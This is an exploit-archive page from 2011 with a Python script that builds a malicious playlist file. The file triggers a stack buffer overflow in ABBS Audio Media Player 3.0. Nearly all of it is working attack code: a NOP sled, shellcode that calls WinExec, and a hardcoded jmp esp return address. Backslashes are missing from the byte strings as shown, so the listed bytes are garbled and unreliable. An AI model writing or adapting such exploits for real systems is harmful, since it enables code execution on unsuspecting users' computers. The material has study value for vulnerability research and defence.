ABBS Audio Media Player Buffer Overflow Exploit (M3U/LST)

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : ABBS Audio Media Player Buffer Overflow Exploit (M3U/LST)
# Published : 2011-03-14
# Author : Rh0
# Previous Title : ABBS Audio Media Player 3.0 .lst Buffer Overflow Exploit (SEH)
# Next Title : MPlayer Lite r33064 m3u SEH Overflow Exploit

# Exploit: ABBS Audio Media Player Buffer Overflow Exploit (M3U/LST)
# Date: 14.03.11
# Author: Rh0 (Rh0[at]z1p.biz)
# Software Link: http://abbs.qsnx.net/downloads/abbs-amp.zip
# Version: 3.0
# Tested on: WinXP Pro SP3 EN (VirtualBox)

print "[*] Stack buffer overflow in ABBS Audio Media Player 3.0 [*]"
bufferlen = 4108;				# buffer until return address overwrite
nops = "x90" * 5;
## WinExec("calc",1)
shellcode = (
		"x33xC0"			# xor eax,eax
		"x50"				# push eax
		"x68x63x61x6Cx63"		# push 'calc'
		"x8BxDC"			# mov ebx, esp
		"xB0x01"			# mov al, 1
		"x50"				# push eax
		"x53"				# push ebx
		"xB8x0Cx25x86x7C"		# mov eax, 7C86250C
		"x04x01"			# add al, 1
		"xFFxD0"			# call eax (WinExec@kernel32.dll)
		)
			
ret = "x87xa7xa7x7c";			# jmp esp @user32.dll (0x7ca7a787)
esp = "xe9xebxefxffxff";	# jmp backwards 4116 bytes

buffer  = nops
buffer += shellcode
buffer += "A" * (bufferlen - len(buffer))
buffer += ret;
buffer += esp;

try:
	A = open("exploit.lst","wb")		# exploit works also with .m3u
	A.write(buffer)
	A.close()
	print "[*] exploit.lst created [*]"
except:
	print "[*] Error while creating file [*]"

print "[*] Enter to continue.. [*]"
raw_input()